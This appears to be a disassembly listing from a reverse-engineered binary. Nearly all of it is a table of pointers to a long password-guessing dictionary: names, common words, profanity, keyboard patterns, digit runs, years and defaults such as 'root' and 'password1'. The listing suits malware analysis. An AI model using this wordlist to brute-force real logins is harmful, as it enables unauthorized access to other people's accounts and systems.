		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial	; "serial"
		dd offset aService	; "service"
		dd offset aSesame	; "sesame"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
		dd offset aShark	; "shark"
		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		dd offset aSinger	; "singer"
		dd offset aSingle	; "single"
		dd offset aSite		; "site"
		dd offset aSkull	; "skull"
		dd offset aSlave	; "slave"
		dd offset aSlick	; "slick"
		dd offset aSliders	; "sliders"
		dd offset aSlow		; "slow"
		dd offset aSlut		; "slut"
		dd offset aSmall	; "small"
		dd offset aSmart	; "smart"
		dd offset aSmile	; "smile"
		dd offset aSmiles	; "smiles"
		dd offset aSmooch	; "smooch"
		dd offset aSmother	; "smother"
		dd offset aSmtp		; "smtp"
		dd offset aSmut		; "smut"
		dd offset aSnach	; "snach"
		dd offset aSnafu	; "snafu"
		dd offset aSnake	; "snake"
		dd offset aSnatch	; "snatch"
		dd offset aSnoopy	; "snoopy"
		dd offset aSoap		; "soap"
		dd offset aSocial	; "social"
		dd offset aSocrates	; "socrates"
		dd offset aSodomy	; "sodomy"
		dd offset aSoft		; "soft"
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset aStoneage	; "stoneage"
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStreetfi	; "streetfi"
		dd offset aString	; "string"
		dd offset aStrip	; "strip"
		dd offset aStudent	; "student"
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		dd offset aSurfer	; "surfer"
		dd offset aSurfing	; "surfing"
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
		dd offset aTammy	; "tammy"
		dd offset aTangerin	; "tangerin"
		dd offset aTango	; "tango"
		dd offset aTape		; "tape"
		dd offset aTara		; "tara"
		dd offset aTarget	; "target"
		dd offset aTarragon	; "tarragon"
		dd offset aTaylor	; "taylor"
		dd offset aTeacher	; "teacher"
		dd offset aTeam		; "team"
		dd offset aTeapot	; "teapot"
		dd offset aTears	; "tears"
		dd offset aTech		; "tech"
		dd offset aTeen		; "teen"
		dd offset aTeenage	; "teenage"
		dd offset aTelephon	; "telephon"
		dd offset aTelnet	; "telnet"
		dd offset aTemptati	; "temptati"
		dd offset aTennis	; "tennis"
		dd offset aTera		; "tera"
		dd offset aTerminal	; "terminal"
		dd offset aTerminat	; "terminat"
		dd offset aTess		; "tess"
		dd offset aTetris	; "tetris"
		dd offset aText		; "text"
		dd offset aThailand	; "thailand"
		dd offset aTheresa	; "theresa"
		dd offset aThin		; "thin"
		dd offset aThursday	; "thursday"
		dd offset aTiffany	; "tiffany"
		dd offset aTiger	; "tiger"
		dd offset aTime		; "time"
		dd offset aTina		; "tina"
		dd offset aTits		; "tits"
		dd offset aToad		; "toad"
		dd offset aToggle	; "toggle"
		dd offset aToken	; "token"
		dd offset aTokenrin	; "tokenrin"
		dd offset aTomato	; "tomato"
		dd offset aTopograp	; "topograp"
		dd offset aTortoise	; "tortoise"
		dd offset aToxic	; "toxic"
		dd offset aToyota	; "toyota"
		dd offset aTraci	; "traci"
		dd offset aTracie	; "tracie"
		dd offset aTracy	; "tracy"
		dd offset aTrails	; "trails"
		dd offset aTransfer	; "transfer"
		dd offset aTrap		; "trap"
		dd offset aTrapdoor	; "trapdoor"
		dd offset aTree		; "tree"
		dd offset aTrek		; "trek"
		dd offset aTrisha	; "trisha"
		dd offset aTrivial	; "trivial"
		dd offset aTrojan	; "trojan"
		dd offset aTrombone	; "trombone"
		dd offset aTron		; "tron"
		dd offset aTrue		; "true"
		dd offset aTruth	; "truth"
		dd offset aTubas	; "tubas"
		dd offset aTuesday	; "tuesday"
		dd offset aTurn		; "turn"
		dd offset aTuttle	; "tuttle"
		dd offset aUgly		; "ugly"
		dd offset aUmesh	; "umesh"
		dd offset aUncle	; "uncle"
		dd offset aUndo		; "undo"
		dd offset aUnhappy	; "unhappy"
		dd offset aUnicorn	; "unicorn"
		dd offset aUniform	; "uniform"
		dd offset aUniversa	; "universa"
		dd offset aUniverse	; "universe"
		dd offset aUniversi	; "universi"
		dd offset aUnknown_0	; "unknown"
		dd offset aUnlock	; "unlock"
		dd offset aUpload	; "upload"
		dd offset aUranus	; "uranus"
		dd offset aUrchin	; "urchin"
		dd offset aUrsula	; "ursula"
		dd offset aUsenet	; "usenet"
		dd offset aUsermane	; "usermane"
		dd offset aUsername	; "username"
		dd offset aUsmc		; "usmc"
		dd offset aUtil		; "util"
		dd offset aUtility	; "utility"
		dd offset aUucp		; "uucp"
		dd offset aVagina	; "vagina"
		dd offset aValerie	; "valerie"
		dd offset aVampire	; "vampire"
		dd offset aVasant	; "vasant"
		dd offset aVenus	; "venus"
		dd offset aVeronica	; "veronica"
		dd offset aVertigo	; "vertigo"
		dd offset aVicky	; "vicky"
		dd offset aVictor	; "victor"
		dd offset aVideo	; "video"
		dd offset aVideogam	; "videogam"
		dd offset aVillage	; "village"
		dd offset aVirgin	; "virgin"
		dd offset aVirginia	; "virginia"
		dd offset aVirus	; "virus"
		dd offset aVisitor	; "visitor"
		dd offset aVisual	; "visual"
		dd offset aVisualba	; "visualba"
		dd offset aVodka	; "vodka"
		dd offset aWaco		; "waco"
		dd offset aWard		; "ward"
		dd offset aWarez	; "warez"
		dd offset aWarfare	; "warfare"
		dd offset aWargames	; "wargames"
		dd offset aWarp		; "warp"
		dd offset aWarren	; "warren"
		dd offset aWasp		; "wasp"
		dd offset aWatchwor	; "watchwor"
		dd offset aWater	; "water"
		dd offset aWave		; "wave"
		dd offset aWebpage	; "webpage"
		dd offset aWednesda	; "wednesda"
		dd offset aWeed		; "weed"
		dd offset aWeenie	; "weenie"
		dd offset aWell		; "well"
		dd offset aWendi	; "wendi"
		dd offset aWendy	; "wendy"
		dd offset aWerewolf	; "werewolf"
		dd offset aWest		; "west"
		dd offset aWestern	; "western"
		dd offset aWhatever	; "whatever"
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWhore	; "whore"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset aLol		; "lol"
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM_0		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindows98	; "windows98"
		dd offset aWindows95	; "windows95"
		dd offset aWindozexp	; "windozexp"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindoze95	; "windoze95"
		dd offset aWh0r3	; "wh0r3"
		dd offset aHo		; "ho"
		dd offset aWh0re	; "wh0re"
		dd offset aHax		; "hax"
		dd offset aHaxing	; "haxing"
		dd offset aH4x1ng	; "h4x1ng"
		dd offset aH4x0r1ng	; "h4x0r1ng"
		dd offset aH4x0ring	; "h4x0ring"
		dd offset aAda		; "ada"
		dd offset aAlbatross	; "albatross"
		dd offset aAlf		; "alf"
		dd offset aAma		; "ama"
		dd offset aAmorphous	; "amorphous"
		dd offset aAmy		; "amy"
		dd offset aAndromache	; "andromache"
		dd offset aAnn		; "ann"
		dd offset aAnthropogenic ; "anthropogenic"
		dd offset aAsd		; "asd"
		dd offset aAsm		; "asm"
		dd offset aAtmosphere	; "atmosphere"
		dd offset aBeethoven	; "beethoven"
		dd offset aBicameral	; "bicameral"
		dd offset aBob		; "bob"
		dd offset aBsd		; "bsd"
		dd offset aCad		; "cad"
		dd offset aCampanile	; "campanile"
		dd offset aCat		; "cat"
		dd offset aCatherine	; "catherine"
		dd offset aChemistry	; "chemistry"
		dd offset aChristina	; "christina"
		dd offset aChristine	; "christine"
		dd offset aCommrades	; "commrades"
		dd offset aCornelius	; "cornelius"
		dd offset aDeb		; "deb"
		dd offset aDesperate	; "desperate"
		dd offset aDiscovery	; "discovery"
		dd offset aDog		; "dog"
		dd offset aDos		; "dos"
		dd offset aEdinburgh	; "edinburgh"
		dd offset aEiderdown	; "eiderdown"
		dd offset aElizabeth	; "elizabeth"
		dd offset aEnterprise	; "enterprise"
		dd offset aEstablish	; "establish"
		dd offset aExtension	; "extension"
		dd offset aFoolproof	; "foolproof"
		dd offset aForesight	; "foresight"
		dd offset aFun		; "fun"
		dd offset aGnu		; "gnu"
		dd offset aHal		; "hal"
		dd offset aHappening	; "happening"
		dd offset aIbm		; "ibm"
		dd offset aImbroglio	; "imbroglio"
		dd offset aInnocuous	; "innocuous"
		dd offset aJen		; "jen"
		dd offset aJoy		; "joy"
		dd offset aKey		; "key"
		dd offset aKim		; "kim"
		dd offset aLamination	; "lamination"
		dd offset aLee		; "lee"
		dd offset aLiz		; "liz"
		dd offset aMacintosh	; "macintosh"
		dd offset aMgr		; "mgr"
		dd offset aMit		; "mit"
		dd offset aNet		; "net"
		dd offset aNew		; "new"
		dd offset aNutrition	; "nutrition"
		dd offset aOceanography	; "oceanography"
		dd offset aPad		; "pad"
		dd offset aPam		; "pam"
		dd offset aPercolate	; "percolate"
		dd offset aPersimmon	; "persimmon"
		dd offset aPolynomial	; "polynomial"
		dd offset aPondering	; "pondering"
		dd offset aPrinceton	; "princeton"
		dd offset aProfessor	; "professor"
		dd offset aPub		; "pub"
		dd offset aRachmaninoff	; "rachmaninoff"
		dd offset aRje		; "rje"
		dd offset aRochester	; "rochester"
		dd offset aSal		; "sal"
		dd offset aSheffield	; "sheffield"
		dd offset aSignature	; "signature"
		dd offset aStephanie	; "stephanie"
		dd offset aStratford	; "stratford"
		dd offset aStuttgart	; "stuttgart"
		dd offset aSun		; "sun"
		dd offset aSuperstage	; "superstage"
		dd offset aSuperuser	; "superuser"
		dd offset aSupported	; "supported"
		dd offset aSys		; "sys"
		dd offset aTangerine	; "tangerine"
		dd offset aTelephone	; "telephone"
		dd offset aTemptation	; "temptation"
		dd offset aTopography	; "topography"
		dd offset aTty		; "tty"
		dd offset aWholesale	; "wholesale"
		dd offset aWilliamsburg	; "williamsburg"
		dd offset aWisconsin	; "wisconsin"
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset aZap		; "zap"
		dd offset aZimmerman	; "zimmerman"
		dd offset dword_4275C8
		dd offset dword_4275C4
		dd offset dword_4275C0
		dd offset dword_4275BC
		dd offset dword_4275B4
		dd offset dword_4275AC
		dd offset dword_4275A4
		dd offset dword_427598
		dd offset loc_42025F+1
		dd offset dword_427594
		dd offset off_427590
		dd offset a@_6		; "@"
		dd offset a@@		; "@@"
		dd offset asc_427584	; "+"
		dd offset asc_427580	; "++"
		dd offset asc_42757C	; "+++"
		dd offset asc_427574	; "++++"
		dd offset asc_427570	; "-"
		dd offset asc_42756C	; "--"
		dd offset asc_42756C	; "--"
		dd offset asc_427564	; "----"
		dd offset asc_427560	; "-+"
		dd offset asc_427558	; "--++"
		dd offset a0		; "=-0"
		dd offset a789_0	; "789+"
		dd offset a456_0	; "456+"
		dd offset asc_427540	; "$"
		dd offset asc_42753C	; "$$"
		dd offset asc_427538	; "$$$"
		dd offset a@_5		; "*&^%$#@!"
		dd offset a@_4		; "&^%$#@!"
		dd offset a@_3		; "^%$#@!"
		dd offset a@_2		; "%$#@!"
		dd offset a@_1		; "$#@!"
		dd offset a@_0		; "#@!"
		dd offset a@		; "@!"
		dd offset dword_420274
		dd offset a00		; "00"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset a00000000	; "00000000"
		dd offset a000000000	; "000000000"
		dd offset a0000000000	; "0000000000"
		dd offset asc_4209B8	; "*"
		dd offset asc_4274E8	; "**"
		dd offset asc_4274E4	; "***"
		dd offset asc_4274DC	; "****"
		dd offset asc_4274D4	; "*****"
		dd offset asc_4274CC	; "******"
		dd offset asc_4274C4	; "*******"
		dd offset asc_4274B8	; "********"
		dd offset asc_4274AC	; "*********"
		dd offset a001		; "001"
		dd offset a002		; "002"
		dd offset a003		; "003"
		dd offset a004		; "004"
		dd offset a005		; "005"
		dd offset a006		; "006"
		dd offset a007		; "007"
		dd offset a008		; "008"
		dd offset a009		; "009"
		dd offset a010		; "010"
		dd offset a0wn3d	; "0wn3d"
		dd offset a0wned	; "0wned"
		dd offset a1		; "1"
		dd offset a11		; "11"
		dd offset a111		; "111"
		dd offset a1111		; "1111"
		dd offset a11111	; "11111"
		dd offset a111111	; "111111"
		dd offset a1111111	; "1111111"
		dd offset a11111111	; "11111111"
		dd offset a111111111	; "111111111"
		dd offset a1111111111	; "1111111111"
		dd offset a2		; "2"
		dd offset a22		; "22"
		dd offset a222		; "222"
		dd offset a2222		; "2222"
		dd offset a22222	; "22222"
		dd offset a222222	; "222222"
		dd offset a2222222	; "2222222"
		dd offset a22222222	; "22222222"
		dd offset a222222222	; "222222222"
		dd offset a2222222222	; "2222222222"
		dd offset a3		; "3"
		dd offset a33		; "33"
		dd offset a333		; "333"
		dd offset a3333		; "3333"
		dd offset a33333	; "33333"
		dd offset a333333	; "333333"
		dd offset a3333333	; "3333333"
		dd offset a33333333	; "33333333"
		dd offset a333333333	; "333333333"
		dd offset a3333333333	; "3333333333"
		dd offset a4		; "4"
		dd offset a44		; "44"
		dd offset a444		; "444"
		dd offset a4444		; "4444"
		dd offset a44444	; "44444"
		dd offset a444444	; "444444"
		dd offset a4444444	; "4444444"
		dd offset a44444444	; "44444444"
		dd offset a444444444	; "444444444"
		dd offset a4444444444	; "4444444444"
		dd offset a5		; "5"
		dd offset a55		; "55"
		dd offset a555		; "555"
		dd offset a5555		; "5555"
		dd offset a55555	; "55555"
		dd offset a555555	; "555555"
		dd offset a5555555	; "5555555"
		dd offset a55555555	; "55555555"
		dd offset a555555555	; "555555555"
		dd offset a5555555555	; "5555555555"
		dd offset a6		; "6"
		dd offset a66		; "66"
		dd offset a666		; "666"
		dd offset a6666		; "6666"
		dd offset a66666	; "66666"
		dd offset a666666	; "666666"
		dd offset a6666666	; "6666666"
		dd offset a66666666	; "66666666"
		dd offset a666666666	; "666666666"
		dd offset a6666666666	; "6666666666"
		dd offset a7		; "7"
		dd offset a77		; "77"
		dd offset a777		; "777"
		dd offset a7777		; "7777"
		dd offset a77777	; "77777"
		dd offset a777777	; "777777"
		dd offset a7777777	; "7777777"
		dd offset a77777777	; "77777777"
		dd offset a777777777	; "777777777"
		dd offset a7777777777	; "7777777777"
		dd offset a8		; "8"
		dd offset a88		; "88"
		dd offset a888		; "888"
		dd offset a8888		; "8888"
		dd offset a88888	; "88888"
		dd offset a888888	; "888888"
		dd offset a8888888	; "8888888"
		dd offset a88888888	; "88888888"
		dd offset a888888888	; "888888888"
		dd offset a8888888888	; "8888888888"
		dd offset a9		; "9"
		dd offset a99		; "99"
		dd offset a999		; "999"
		dd offset a9999		; "9999"
		dd offset a99999	; "99999"
		dd offset a999999	; "999999"
		dd offset a9999999	; "9999999"
		dd offset a99999999	; "99999999"
		dd offset a999999999	; "999999999"
		dd offset a9999999999	; "9999999999"
		dd offset a110		; "110"
		dd offset a7410		; "7410"
		dd offset a0147		; "0147"
		dd offset a1122		; "1122"
		dd offset a456		; "456"
		dd offset a654		; "654"
		dd offset a789		; "789"
		dd offset a987		; "987"
		dd offset a8520		; "8520"
		dd offset a0258		; "0258"
		dd offset a1020		; "1020"
		dd offset a12		; "12"
		dd offset a121		; "121"
		dd offset a121212	; "121212"
		dd offset a123		; "123"
		dd offset a123123	; "123123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a12346	; "12346"
		dd offset a123467	; "123467"
		dd offset a1234678	; "1234678"
		dd offset a12346789	; "12346789"
		dd offset a123467890	; "123467890"
		dd offset a1qwer	; "1qwer"
		dd offset a1abc		; "1abc"
		dd offset a1asd		; "1asd"
		dd offset a1qwe		; "1qwe"
		dd offset a12qwer	; "12qwer"
		dd offset a12abc	; "12abc"
		dd offset a12asd	; "12asd"
		dd offset a12qwe	; "12qwe"
		dd offset a123qwer	; "123qwer"
		dd offset a123abc	; "123abc"
		dd offset a123asd	; "123asd"
		dd offset a123qwe	; "123qwe"
		dd offset a1234qwer	; "1234qwer"
		dd offset a1234abc	; "1234abc"
		dd offset a1234asd	; "1234asd"
		dd offset a1234qwe	; "1234qwe"
		dd offset a1952		; "1952"
		dd offset a1953		; "1953"
		dd offset a1954		; "1954"
		dd offset a1955		; "1955"
		dd offset a1956		; "1956"
		dd offset a1957		; "1957"
		dd offset a1958		; "1958"
		dd offset a1959		; "1959"
		dd offset a1960		; "1960"
		dd offset a1961		; "1961"
		dd offset a1962		; "1962"
		dd offset a1963		; "1963"
		dd offset a1964		; "1964"
		dd offset a1965		; "1965"
		dd offset a1966		; "1966"
		dd offset a1967		; "1967"
		dd offset a1968		; "1968"
		dd offset a1969		; "1969"
		dd offset a1970		; "1970"
		dd offset a1971		; "1971"
		dd offset a1972		; "1972"
		dd offset a1973		; "1973"
		dd offset a1974		; "1974"
		dd offset a1975		; "1975"
		dd offset a1976		; "1976"
		dd offset a1977		; "1977"
		dd offset a1978		; "1978"
		dd offset a1979		; "1979"
		dd offset a1980		; "1980"
		dd offset a1981		; "1981"
		dd offset a1982		; "1982"
		dd offset a1983		; "1983"
		dd offset a1984		; "1984"
		dd offset a1985		; "1985"
		dd offset a1986		; "1986"
		dd offset a1987		; "1987"
		dd offset a1988		; "1988"
		dd offset a1989		; "1989"
		dd offset a1990		; "1990"
		dd offset a1991		; "1991"
		dd offset a1992		; "1992"
		dd offset a1993		; "1993"
		dd offset a1994		; "1994"
		dd offset a1995		; "1995"
		dd offset a1996		; "1996"
		dd offset a1997		; "1997"
		dd offset a1998		; "1998"
		dd offset a1999		; "1999"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset a2005		; "2005"
		dd offset a2006		; "2006"
		dd offset a2600		; "2600"
		dd offset a321		; "321"
		dd offset a4321		; "4321"
		dd offset a54321	; "54321"
		dd offset a654321	; "654321"
		dd offset a7654321	; "7654321"
		dd offset aSony		; "sony"
		dd offset aSamsung_0	; "SAMSUNG"
		dd offset aSamsung	; "samsung"
		dd offset aSony_0	; "SONY"
		dd offset aMaster_0	; "MASTER"
		dd offset aMicrosoft	; "MICROSOFT"
		dd offset aDisc_0	; "DISC"
		dd offset aCreative	; "CREATIVE"
		dd offset aSex		; "SEX"
		dd offset aNokia	; "NOKIA"
		dd offset aXp		; "XP"
		dd offset aA_1		; "a"
		dd offset aAa		; "aa"
		dd offset aAaa		; "aaa"
		dd offset aAaaa		; "aaaa"
		dd offset aAaaaa	; "aaaaa"
		dd offset aAaaaaa	; "aaaaaa"
		dd offset aAaaaaaa	; "aaaaaaa"
		dd offset aAaaaaaaa	; "aaaaaaaa"
		dd offset aAaaaaaaaa	; "aaaaaaaaa"
		dd offset aPassword_1	; "Password"
		dd offset aPassword1	; "password1"
		dd offset aQw		; "qw"
		dd offset aQwe		; "qwe"
		dd offset aQwer		; "qwer"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aQwertyu	; "qwertyu"
		dd offset aQwertyui	; "qwertyui"
		dd offset aQwertyuio	; "qwertyuio"
		dd offset aQwertyuiop	; "qwertyuiop"
		dd offset aRoot		; "root"
		dd offset aServer_0	; "server"
		dd offset aService	; "service"
		dd offset aServers	; "servers"
		dd offset aServices	; "services"
		dd offset aSystem	; "system"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aChi_0	; "CHI"
		dd offset aChi		; "chi"
		dd offset aKor_0	; "kor"
		dd offset aTiger	; "tiger"
		dd offset aKor		; "KOR"
		dd offset aToyota_0	; "TOYOTA"
		dd offset aToyota	; "toyota"
		dd offset asc_42AE48	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset aXyz		; "xyz"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aKonyang	; "konyang"
		dd offset aZ		; "z"
		dd offset aZx		; "zx"
		dd offset aZxc		; "zxc"
		dd offset aZxcv		; "zxcv"
		dd offset aZxcvb	; "zxcvb"
		dd offset aZxcvbn	; "zxcvbn"
		dd offset aZxcvbnm	; "zxcvbnm"
		dd offset aAs		; "as"
		dd offset aAsd		; "asd"
		dd offset aAsdf		; "asdf"
